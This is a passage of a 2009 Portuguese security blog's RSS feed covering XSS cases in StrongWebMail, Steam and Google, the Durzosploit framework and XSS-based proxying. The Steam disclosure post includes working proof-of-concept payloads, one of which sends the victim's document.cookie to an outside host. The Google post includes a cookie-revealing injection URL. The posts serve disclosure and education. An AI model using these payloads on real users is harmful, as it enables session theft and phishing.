		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=186</guid>
		<description><![CDATA[Não. Eu não podia deixar de comentar sobre o caso mais comentado da última semana:  O desafio do StrongWebMail.com . Trata-se de um novo serviço que garante a segurança de seu login exigindo que você preencha números que o serão informados por telefone. Se é uma excelente idéia ou não, eu não sei.  Só sei [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 5px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F06%2Fo-caso-strongwebmailcom%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F06%2Fo-caso-strongwebmailcom%2F&amp;source=gabrielpato&amp;style=compact" height="61" width="50" /><br />
			</a>
		</div>
<p>Não. Eu não podia deixar de comentar sobre o caso mais comentado da última semana:  O desafio do StrongWebMail.com .</p>
<p>Trata-se de um novo serviço que garante a segurança de seu login exigindo que você preencha números que o serão informados por telefone. Se é uma excelente idéia ou não, eu não sei.  Só sei que eu não gostaria de ter meu celular tocando a cada vez que fosse conferir minha caixa de entrada. Isso sem contar, é claro, as situações em que o celular não está com você\esta descarregado\fora de área.</p>
<p>Eficiente ou não, a forma com que eles entraram no mercado chamou a a atenção da comunidade de segurança: Propuseram um desafio cujo objetivo era quebrar a segurança do sistema. O prêmio? 10 mil dólares. A empresa estava certamente confiante de que seu produto seguraria a barra&#8230; pelo menos por um bom tempo.  Como vocês podem imaginar, falharam.</p>
<p>A tarefa do desafio era ter acesso ao e-mail do CEO da empresa, obtendo sua caixa de entrada e sua lista de tarefas.</p>
<p>Em poucos minutos,  Lance James e mais dois hackers,  Mike Bailey e Aviv Raff, recrutados por twitter, encontraram uma falha.  Tratava-se de um Cross-site Scripting no campo de Assunto, quando visualizado pelo web-mail.  Segundo Lance, o mais trabalhoso &#8211; que levou aproximadamente 6 horas para ficar pronto &#8211; foi o exploit (código que seria injetado pela falha). Ele capturava mensagens na caixa de entrada, cookies e a lista de tarefas (&#8220;Task lists&#8221;, um dos serviços do site), os enviando para um script na web.</p>
<p>Bastava, então, que alguem entrasse naquele e-mail para o exploit funcionar. Para que isso ocorresse, Lance contatou a equipe de suporte notificando que havia obtido acesso à conta do CEO e que os detalhes estavam em sua caixa de entrada. Isso obrigaria a equipe a logar naquela conta, onde havia o XSS aguardando para ser executado.</p>
<p>Minutos depois, os dados já estavam em mãos. No entanto, inicialmente a empresa alegou que o método usado não seria válido por não se tratar de uma falha específica do sistema de autenticação deles, mas, depois de muito repercutir na web, anunciaram o grupo como vencedores e os pagaram a premiação. No mesmo anúncio, porém, alegaram que o sistema deles não foi burlado, pois o &#8220;hacker teve de encontrar um meio de evitar a verificação telefonica&#8221;, ou seja, o sistema deles ainda é eficiente. Neste ponto, eu concordo, mas não é só no momento de login que a segurança deve ser analisada. E neste aspecto a lição foi muito bem dada. Eles certamente viram que Cross-site Scripting é uma falha séria.</p>
<p>FONTES: <a href="http://www.fireblog.com/exclusive-interview-with-strongwebmails-10000-hacker/">Entrevista com Lance James no blog FireBlog</a> (inglês)<br />
Twitter: <a href="http://www.twitter.com/xssexploits">@XssExploits </a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2009/06/o-caso-strongwebmailcom/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Falha na STEAM &#8211; Updates.</title>
		<link>http://www.falandodeseguranca.com/2009/05/falha-na-steam-updates/</link>
		<comments>http://www.falandodeseguranca.com/2009/05/falha-na-steam-updates/#comments</comments>
		<pubDate>Fri, 22 May 2009 01:59:50 +0000</pubDate>
		<dc:creator>Gabriel Lima</dc:creator>
				<category><![CDATA[Segurança em Aplicações Web]]></category>
		<category><![CDATA[steam]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=142</guid>
		<description><![CDATA[A falha que havia reportado da STEAM foi corrigida hoje (21) pela equipe da VALVE. Ontem, (20) havia postado no fórum oficial da STEAM um tópico para discussão da falha. Em menos de 10 minutos de vida, ele foi removido pela equipe de moderação, que me mandaram uma mensagem particular dizendo que já era pra [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 5px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F05%2Ffalha-na-steam-updates%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F05%2Ffalha-na-steam-updates%2F&amp;source=gabrielpato&amp;style=compact" height="61" width="50" /><br />
			</a>
		</div>
<p>A falha que havia reportado da STEAM foi corrigida hoje (21) pela equipe da VALVE.</p>
<p>Ontem, (20) havia postado no fórum oficial da STEAM um tópico para discussão da falha. Em menos de 10 minutos de vida, ele foi removido pela equipe de moderação, que me mandaram uma mensagem particular dizendo que já era pra eu ter sido contatado pela VALVE, o que não aconteceu.</p>
<p>Este moderador (que por sinal, é voluntário) encaminhou a VALVE novamente, e fui finalmente contatado pelo excelente <strong>John McCaskey</strong>, desenvolvedor.</p>
<p>Ele disse que a mensagem não chegou as pessoas certas. Provavelmente não souberam analisar o caso e encaminhar aos desenvolvedores responsáveis.</p>
<p>Ele agradeceu e listou os e-mails das pessoas que podem receber e analisar relatórios de segurança, caso tenha novas falhas a relatar futuramente.</p>
<p>A correção foi realizada em poucas horas. Neste momento, ela já esta corrigida.</p>
<p>Tal correção inclui apenas a codificação dos caracteres vindos por GET (na URL). Isso, obviamente, resolve a falha que relatei, mas como não houveram modificações no client da steam,  caracteres como &#8220;<strong>&lt;</strong>&#8220;, &#8220;<strong>&gt;</strong>&#8220;, (<em>aspas</em>), <strong>=</strong>, etc. continuam podendo ser passados pelo steam protocol. Quem sabe isso não resulte em novas falhas?</p>
<p>Apesar da confusão de e-mails importantes não chegarem as pessoas certas, dou os parabéns à VALVE pela correção rápida.</p>
<p>O pessoal da packet storm security hospedou uma mirror do resumo em inglês: http://packetstormsecurity.org/0905-exploits/steam-xss.txt</p>
<p>Comentários? Dúvidas? Use o link de comentários ou envie um e-mail para gabriel &lt;@&gt; falandodeseguranca.com</p>
<p>Abraços a todos!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2009/05/falha-na-steam-updates/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Vulnerabilidade no STEAM: Phishing e XSS na Steam Store</title>
		<link>http://www.falandodeseguranca.com/2009/05/vulnerabilidade-no-steam-phishing-e-xss-na-steam-store/</link>
		<comments>http://www.falandodeseguranca.com/2009/05/vulnerabilidade-no-steam-phishing-e-xss-na-steam-store/#comments</comments>
		<pubDate>Mon, 18 May 2009 19:47:32 +0000</pubDate>
		<dc:creator>Gabriel Lima</dc:creator>
				<category><![CDATA[Segurança em Aplicações Web]]></category>
		<category><![CDATA[Vídeos (antigos)]]></category>
		<category><![CDATA[phishing]]></category>
		<category><![CDATA[steam]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=119</guid>
		<description><![CDATA[Abaixo, irei exibir detalhes da falha que descobri no início deste mês no software Steam, da Valve Corporation. Trata-se de um dos softwares mais utilizados para distribuição de games para PC pela Internet. Recomendo que faça o download do relatório completo, pois o conteúdo deste post é apenas um resumo do trabalho publicado em pdf. [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 5px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F05%2Fvulnerabilidade-no-steam-phishing-e-xss-na-steam-store%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F05%2Fvulnerabilidade-no-steam-phishing-e-xss-na-steam-store%2F&amp;source=gabrielpato&amp;style=compact" height="61" width="50" /><br />
			</a>
		</div>
<p style="text-align: center;"><img class="size-full wp-image-122 aligncenter" title="steam-post" src="http://www.falandodeseguranca.com/wp-content/uploads/2009/05/steam-post.jpg" alt="steam-post" width="552" height="310" /></p>
<p>Abaixo, irei exibir detalhes da falha que descobri no início deste mês no software <a href="http://www.steampowered.com">Steam</a>, da Valve Corporation. Trata-se de um dos softwares mais utilizados para distribuição de games para PC pela Internet. Recomendo que faça o download do relatório completo, pois o conteúdo deste post é apenas um resumo do trabalho publicado em pdf.</p>
<p><strong>Download do relatório completo da falha em PDF &gt; <span style="color: #ff0000;"><a href="http://www.falandodeseguranca.com/steam.pdf" target="_self">Clique Aqui.</a></span></strong></p>
<p><strong>Assista o Vídeo  com a demonstração e a explicação da falha &gt; <a title="Falando de Segurança - Vulnerabilidade no STEAM::Vídeo 3. Por Gabriel Lima" rel="lightbox[flash 960 720]" href="http://www.falandodeseguranca.com/video/3.flv">Clique Aqui</a></strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p><span style="color: #ff0000;"><strong>Esta falha já foi corrigida. Detalhes <a href="http://www.falandodeseguranca.com/2009/05/falha-na-steam-updates/">neste post</a>.</strong></span></p>
<p><strong>Descrição da falha:</strong></p>
<p>Um site na internet pode forçar, pelo navegador da vítima, a execução do Steam Protocol (steam://) fazendo com que, na aba Steam Store, seja aberto um link vulnerável a cross-site script da steam store (http://store.steampowered.com). É possível executar Java Script, e com isso obter o cookie do usuário, os aplicativos associados à conta, ou redirecionar a outra pagina sem que seja mostrado ao usuário que ele não se encontra mais na steam store (phishing).</p>
<p><strong>Provas do Conceito:</strong></p>
<p><span style="color: #ff0000;">obs.: Recomendo que baixe o .pdf do relatório, no início deste post. Ele possui explicações completas sobre as provas de conceito e maiores informações sobre a falha.</span></p>
<p>1- Executa alerta contendo a mensagem xss (Injeção de Java-Script):</p>
<blockquote><p><strong><span style="color: #000080;">steam://publisher/</span><span style="color: #ff0000;">&lt;img%20src=a%20onerror=alert(&#8216;xss&#8217;)&gt;</span><br />
</strong></p></blockquote>
<p>Caso esteja logado no STEAM, <a href="steam://publisher/&lt;img%20src=a%20onerror=alert('xss')&gt;" target="_self">clique aqui </a>para ver a execução do código acima.</p>
<p>Screenshot:</p>
<p><img class="alignnone size-full wp-image-121" title="steam-xss" src="http://www.falandodeseguranca.com/wp-content/uploads/2009/05/steam-xss.jpg" alt="steam-xss" width="742" height="476" /></p>
<p>2- Redireciona usuário (no exemplo, para o www.falandodeseguranca.com):</p>
<blockquote><p><strong><span style="color: #000080;">steam://publisher/<span style="color: #ff0000;">&lt;img%20src=a%20 onerror=document.location.href=&#8217;http&#8217;+String.fromCharCode(58,47,47)+&#8217;falandodeseguranca.com&#8217;;&gt;</span></span><br />
</strong></p></blockquote>
<p>Caso esteja logado no STEAM, <a href="steam://publisher/&lt;img%20src=a%20 onerror=document.location.href='http'+String.fromCharCode(58,47,47)+'falandodeseguranca.com';&gt;" target="_self">clique aqui </a>para ver a execução do código acima.</p>
<p><strong>Outras informações:</strong></p>
<p>É possível acessar o cookie do usuário e, por ele, ter conhecimento de todos os games instalados na conta.</p>
<p><img class="alignnone size-full wp-image-120" title="steam-cookie" src="http://www.falandodeseguranca.com/wp-content/uploads/2009/05/steam-cookie.jpg" alt="steam-cookie" width="750" height="482" /></p>
<p>Os números em <strong>InstalledApps</strong> são os AppIDs dos jogos na steam. A lista completa de IDs e seus respectivos jogos pode ser vista <a href="http://developer.valvesoftware.com/wiki/Appid" target="_blank">aqui</a>.</p>
<p><strong>Resumo em inglês (english):</strong></p>
<div style="overflow: auto; height: 300px;">STEAM &#8211; Phishing and Cross-site Scripting<br />
===========================================<br />
=  APP: STEAM &#8211; Valve Software            =<br />
===========================================<br />
- STEAM &lt; http://www.steampowered.com &gt;<br />
- Valve Software &lt; http://www.valvesoftware.com &gt;<br />
- Vulnerability Discovery:  Gabriel Lima &lt; gabriel (at) falandodeseguranca.com &gt;<br />
- http://www.falandodeseguranca.com &#8211; Blog about WebApps&#8217; security (in portuguese)</p>
<p>===========================================<br />
- Description -<br />
===========================================</p>
<p>It&#8217;s possible to input JavaScript\HTML in Steam Store tab (inside Steam App.), using the Steam<br />
Protocol (steam://) in a html page.</p>
<p>&#8220;steam://publisher/ Loads the specified publisher catalogue in the Store. Type the<br />
publisher&#8217;s name in lowercase, e.g. activision or valve.&#8221;</p>
<p>When using a publisher name that doesn&#8217;t exist, Steam Store sends the value to the search<br />
system, which is vulnerable to XSS.</p>
<p>Store tab in Steam doesn&#8217;t show the URL. Phishing is possible just redirecting the victim to<br />
the fake site.</p>
<p>VALVE was contacted in May 10, but they didn&#8217;t reply anything (May 18).</p>
<p>Works in Internet Explorer 7.<br />
Tested under Windows XP SP 3 and Windows Vista.</p>
<p>===========================================<br />
- Proof of Concept -<br />
===========================================</p>
<p>[1] Alert with text xss<br />
steam://publisher/&lt;img%20src=a%20onerror=alert(&#8216;xss&#8217;)&gt;</p>
<p>[2] PHISING (in this example, it redirects to falandodeseguranca.com )<br />
steam://publisher/&lt;img%20src=a%20 onerror=document.location.href=&#8217;http&#8217;+String.fromCharCode(58,47,47)+&#8217;falandodeseguranca.com&#8217;;&gt;</p>
<p>[3] Getting cookies:<br />
steam://publisher/&lt;img%20src=a%20 onerror=document.location.href=&#8217;http&#8217;+String.fromCharCode(58,47,47)+&#8217;falandodeseguranca.com&#8217;+String.fromCharCode(47)+document.cookie;&gt;</p></div>
<p>Dúvidas? Entre em contato comigo por gabriel &lt;@&gt; falandodeseguranca.com  ou por comentários neste post.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2009/05/vulnerabilidade-no-steam-phishing-e-xss-na-steam-store/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Durzosploit 0.1 &#8211; Framework de desenvolvimento para XSS</title>
		<link>http://www.falandodeseguranca.com/2009/05/durzosploit-01-gerador-de-exploits-para-cross-site-scripting/</link>
		<comments>http://www.falandodeseguranca.com/2009/05/durzosploit-01-gerador-de-exploits-para-cross-site-scripting/#comments</comments>
		<pubDate>Tue, 12 May 2009 14:50:24 +0000</pubDate>
		<dc:creator>Gabriel Lima</dc:creator>
				<category><![CDATA[Segurança em Aplicações Web]]></category>
		<category><![CDATA[durzosploit]]></category>
		<category><![CDATA[Framework]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=104</guid>
		<description><![CDATA[Ainda em fase de desenvolvimento, a ferramenta Durzosploit traz um framework de desenvolvimento de exploits para Cross-Site Scripting, com o objetivo de oferecer exploits (..na verdade, payloads) para os mais populares sistemas usados em sites (Drupal, etc) ou para sites populares (Facebook, twitter, etc). Desenvolvido em ruby, seus comandos e sua &#8220;navegação&#8221; por console lembra [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 5px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F05%2Fdurzosploit-01-gerador-de-exploits-para-cross-site-scripting%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F05%2Fdurzosploit-01-gerador-de-exploits-para-cross-site-scripting%2F&amp;source=gabrielpato&amp;style=compact" height="61" width="50" /><br />
			</a>
		</div>
<p>Ainda em fase de desenvolvimento, a ferramenta Durzosploit traz um framework de desenvolvimento de exploits para Cross-Site Scripting, com o objetivo de oferecer <span style="text-decoration: line-through;">exploits </span>(..na verdade, payloads) para os mais populares sistemas usados em sites (Drupal, etc) ou para sites populares (Facebook, twitter, etc).</p>
<p><img class="alignnone size-full wp-image-105" title="Durzosploit" src="http://www.falandodeseguranca.com/wp-content/uploads/2009/05/durzosploit.jpg" alt="Durzosploit" width="727" height="340" /></p>
<p>Desenvolvido em ruby, seus comandos e sua &#8220;navegação&#8221; por console lembra muito o MSF Console, da coletania da framework MetaSploit. Há, atualmente, duas opções para &#8220;esconder&#8221; e\ou otimizar o código verdadeiro:  O <a href="http://dean.edwards.name/packer/" target="_blank">packer</a>, de <a href="http://dean.edwards.name/packer/">Dean Edwards</a>; e o que eles chamaram de minify, que apenas trata o código para torna-lo menor.</p>
<blockquote>
<pre class="text">(dz) &gt; search obfuscators
packr   -       DeanEdward's packer
minify  -       simple clean of the javascript code</pre>
</blockquote>
<p>No momento poucos exploits estão disponíveis, pois a preocupação maior é o andamento da framework em sí. Abaixo, a atual lista de exploits:</p>
<ul>
<li>twitter.com/update_status               &#8211;       Updates a target’s status</li>
<li>twitter.com/update_settings             &#8211;       Updates your target’s settings</li>
<li>facebook.com/what_is_on_your_mind       &#8211;       Write your message in your target’s mind</li>
<li>drupal/edit_user_profile                &#8211;       Drupal 6.x &#8211; edit the profile of the user</li>
<li>drupal/logout                           &#8211;       Drupal 6.x &#8211; makes target logout</li>
</ul>
<p>O download pode ser feito por SVN. O endereço e mais informações podem ser vistas <a href="http://engineeringforfun.com/wiki/index.php/Durzosploit_SVN" target="_blank">aqui</a>.</p>
<p>Para saber mais sobre como programar exploits para a plataforma,<a href="http://engineeringforfun.com/wiki/index.php/Durzosploit_Writing_Exploits" target="_blank"> leia este artigo na wiki oficial do projeto.</a></p>
<p>Fonte: <a href="http://www.darknet.org.uk" target="_blank">DarkNet</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2009/05/durzosploit-01-gerador-de-exploits-para-cross-site-scripting/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google corrige séria falha de Cross-Site Scripting (XSS)</title>
		<link>http://www.falandodeseguranca.com/2009/05/google-corrige-seria-falha-de-cross-site-scripting-xss/</link>
		<comments>http://www.falandodeseguranca.com/2009/05/google-corrige-seria-falha-de-cross-site-scripting-xss/#comments</comments>
		<pubDate>Mon, 11 May 2009 04:11:29 +0000</pubDate>
		<dc:creator>Gabriel Lima</dc:creator>
				<category><![CDATA[Segurança em Aplicações Web]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=99</guid>
		<description><![CDATA[Até a última terça (5 de maio), o Google era vulnerável a Cross-Site Scripting em um dos links de sua página de suporte. O risco apresentado pela falha aumenta inúmeras vezes por um fator: o site vulnerável estava no domínio principal (google.com). Como o google usa este domínio para autenticação de seus usuários em todos [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 5px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F05%2Fgoogle-corrige-seria-falha-de-cross-site-scripting-xss%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F05%2Fgoogle-corrige-seria-falha-de-cross-site-scripting-xss%2F&amp;source=gabrielpato&amp;style=compact" height="61" width="50" /><br />
			</a>
		</div>
<p>Até a última terça (5 de maio), o Google era vulnerável a Cross-Site Scripting em um dos links de sua página de suporte. O risco apresentado pela falha aumenta inúmeras vezes por um fator: o site vulnerável estava no domínio principal (google.com). Como o google usa este domínio para autenticação de seus usuários em todos os seus serviços\sites, era possível obter informações pessoais, enviar seu cookie para um script na web, roubar sua lista de contatos, ver seus documentos no Google Docs, e até adicionar gadgets em seu Igoogle.</p>
<p>A falha foi reportada pelo autor do SecureThoughts.com, que se identifica por &#8220;Inferno&#8221;, no dia 18/04/2009. A Google respondeu em apenas uma hora, mas a correção foi publicada apenas no dia 05/05/2009.</p>
<p>O script vulnerável foi programado em python, tem o nome de <strong>answer.py</strong> e fica localizado em <strong>http://google.com/support/webmasters/bin/answer.py </strong>.</p>
<p>O script declarava uma variável em javascript com o valor passado na variável <strong>cbid</strong>. Apesar de filtrar caracteres como <strong>&#8220;</strong> <em>(aspas)</em>, <em>(espaço)</em>, <strong>&lt;</strong>, <strong>&gt;</strong>, <strong>{</strong>, <strong>}</strong>,  o script não filtrava <strong>&#8216;</strong> (aspa única). Este caractere era o suficiente para finalizar a declaração da variavel e começar a escrever o código java-script a ser injetado. Abaixo, uma prova de conceito que era válida, que exibiria um alerta com seu cookie:</p>
<blockquote><p><span style="color: #000080;">http://google.com/support/webmasters/bin/answer.py?<span class="attribute">answer</span>=<span class="attribute-value">34575</span>&amp;<strong><span class="attribute">cbid</span>=</strong></span><strong><span style="color: #0000ff;">-1oudgq5c3804g</span></strong><strong><span style="color: #ff0000;">&#8216;;alert(document.cookie);//</span></strong><span style="color: #000080;">&amp;<span class="attribute">src</span>=<span class="attribute-value">cb</span>&amp;<span class="attribute">lev</span>=<span class="attribute-value">index</span></span></p></blockquote>
<p>Maiores detalhes e outras provas de conceito podem ser vistas <a href="http://securethoughts.com/2009/05/universal-xss-vulnerability-in-all-google-services-can-compromise-your-personal-information/" target="_blank">neste post </a>(em inglês)</p>
<p>Fonte: <a href="http://securethoughts.com/" target="_blank">SecureThoughts.com</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2009/05/google-corrige-seria-falha-de-cross-site-scripting-xss/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cross-Site Scripting Anonymous Browser</title>
		<link>http://www.falandodeseguranca.com/2009/05/cross-site-scripting-anonymous-browser/</link>
		<comments>http://www.falandodeseguranca.com/2009/05/cross-site-scripting-anonymous-browser/#comments</comments>
		<pubDate>Tue, 05 May 2009 05:10:07 +0000</pubDate>
		<dc:creator>Gabriel Lima</dc:creator>
				<category><![CDATA[Segurança em Aplicações Web]]></category>
		<category><![CDATA[cross-site scripting anonymous browser]]></category>
		<category><![CDATA[XAB]]></category>

		<guid isPermaLink="false">http://www.falandodeseguranca.com/?p=63</guid>
		<description><![CDATA[Enquanto projetos, como o que mostrei neste post, deixam claro que há muitos recursos a serem explorados para encontrar o endereço IP real do usuário, outros, como o que falarei hoje, buscam a plena navegação anonima. O questionamento em cima disso tudo é um só: Mas será que é possível navegar sem deixar deixando mínimos [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 5px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F05%2Fcross-site-scripting-anonymous-browser%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.falandodeseguranca.com%2F2009%2F05%2Fcross-site-scripting-anonymous-browser%2F&amp;source=gabrielpato&amp;style=compact" height="61" width="50" /><br />
			</a>
		</div>
<p>Enquanto projetos, como o que mostrei <a href="http://www.falandodeseguranca.com/?p=49" target="_self">neste post</a>, deixam claro que há muitos recursos a serem explorados para encontrar o endereço IP real do usuário, outros, como o que falarei hoje, buscam a plena navegação anonima.</p>
<p>O questionamento em cima disso tudo é um só: <strong>Mas será que é possível navegar <span style="text-decoration: line-through;">sem deixar</span> deixando mínimos rastros? </strong></p>
<p>Perdoe-me por estragar sua  excitação pelo post mas&#8230; não, ainda não foi encontrado algo que possa desbancar os resultados apresentados por sistemas que usem <a href="http://en.wikipedia.org/wiki/Onion_routing" target="_blank">Onion routing</a> (ou pra ser mais direto, o <a href="http://en.wikipedia.org/wiki/Tor_(anonymity_network)" target="_self">Tor</a>). Mas este termo merece nossa atenção.</p>
<p>Usando o princípio do Cross-Site Scripting (XSS) (carregar um payload em Java Script no navegador da vítima), a idéia do Cross-Site Scripting Anonymous Browser é, basicamente, usar esta interação para forçar a vítima a fazer requisições solicitadas pelo &#8220;hacker&#8221;, retornando o conteúdo do site desejado.</p>
<p>Apesar de não ser um assunto novo, já que há uma publicação de Fevereiro de 2005 que já fala de &#8220;XSS-Proxy&#8221; ( <a href="http://xss-proxy.sourceforge.net/Advanced_XSS_Control.txt">http://xss-proxy.sourceforge.net/Advanced_XSS_Control.txt</a> ), o assunto é ainda discutido, e acredito que devem surgir ferramentas baseadas nesta teoria em breve.</p>
<p>Para obter o código HTML de um site, o Java Script após carregado no navegador da vítima cria um Iframe, e nele carrega o site solicitado. Após carregado, seu conteúdo é lido (usando InnerHTML), codificado (para transmissão via GET) e enviado, também por uma chamada em iframe, a um script que retornaria ao &#8220;hacker&#8221;.</p>
<p>Para facilitar as solicitações, o projeto XSS Tunnel e XSS Shell foram criados. O primeiro é um servidor proxy customizado, e o segundo é um gerenciador de &#8220;vítimas&#8221; (pessoas com o payload carregado). Nas configurações do XSS Tunnel, é possível especificar uma das vítimas, defini-lo como proxy em um navegador e navegar normalmente. Estes projetos tem como finalidade apenas demonstrar a técnica. Infelizmente, ano passado os testei, mas não tive bons resultados. Mais detalhes sobre estes projetos podem ser vistos em <a href="http://labs.portcullis.co.uk/application/xssshell/" target="_blank">http://labs.portcullis.co.uk/application/xssshell/</a>.</p>
<p>Apesar de ter permanecido um bom tempo sem grandes novidades, o XAB (Cross-Site Scripting Anonymous Browser) foi tema da palestra de Matthew Flick na Black Hat DC 2009. Seu paper pode ser baixado <a href="http://www.blackhat.com/presentations/bh-dc-09/Flick/BlackHat-DC-09-Flick-XAB-wp.pdf">clicando aqui</a> (recomendo!).</p>
<p>Nele, Matthew lista as maiores dificuldades existentes hoje para tornar esta idéia funcional:</p>
<ol>
<li>As limitações de segurança do Java Script, que impede códigos executados em um site a acessar DOM de outros.</li>
<li>Tratamento de arquivos que não sejam do tipo texto (como imagens, swf, vídeo, áudio, etc). Atualmente, não há meio conhecido de tratar estas informações de modo que seja possível repassa-las ao &#8220;hacker&#8221;.</li>
<li>O uso de metodos de conexão http que não sejam GET.</li>
</ol>
<p>O paper de Flick possui teorias interessantes para tentar chegar mais perto de driblar estes problemas, como, no caso do primeiro item, o uso de dns spoofing.</p>
<p>Por fim, o  XAB, apesar de não ser recente, é hoje um desafio aos pesquisadores de segurança de WebApps, e merece nosso estudo.</p>
<p>E você, teria alguma solução ou idéia para torna-lo funcional?</p>
<p>Espero ter dado uma devida apresentação ao termo. Seguem links onde podem ser obtidas maiores informações:</p>
<p>Links:</p>
<p><a href="http://www.blackhat.com/presentations/bh-dc-09/Flick/BlackHat-DC-09-Flick-XAB-wp.pdf" target="_blank">http://www.blackhat.com/presentations/bh-dc-09/Flick/BlackHat-DC-09-Flick-XAB-wp.pdf</a></p>
<p><a href="http://labs.portcullis.co.uk/application/xssshell/" target="_blank">http://labs.portcullis.co.uk/application/xssshell/</a></p>
<p><a href="http://xss-proxy.sourceforge.net/" target="_blank">http://xss-proxy.sourceforge.net/</a></p>
<p>Até a próxima <img src='http://www.falandodeseguranca.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.falandodeseguranca.com/2009/05/cross-site-scripting-anonymous-browser/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>
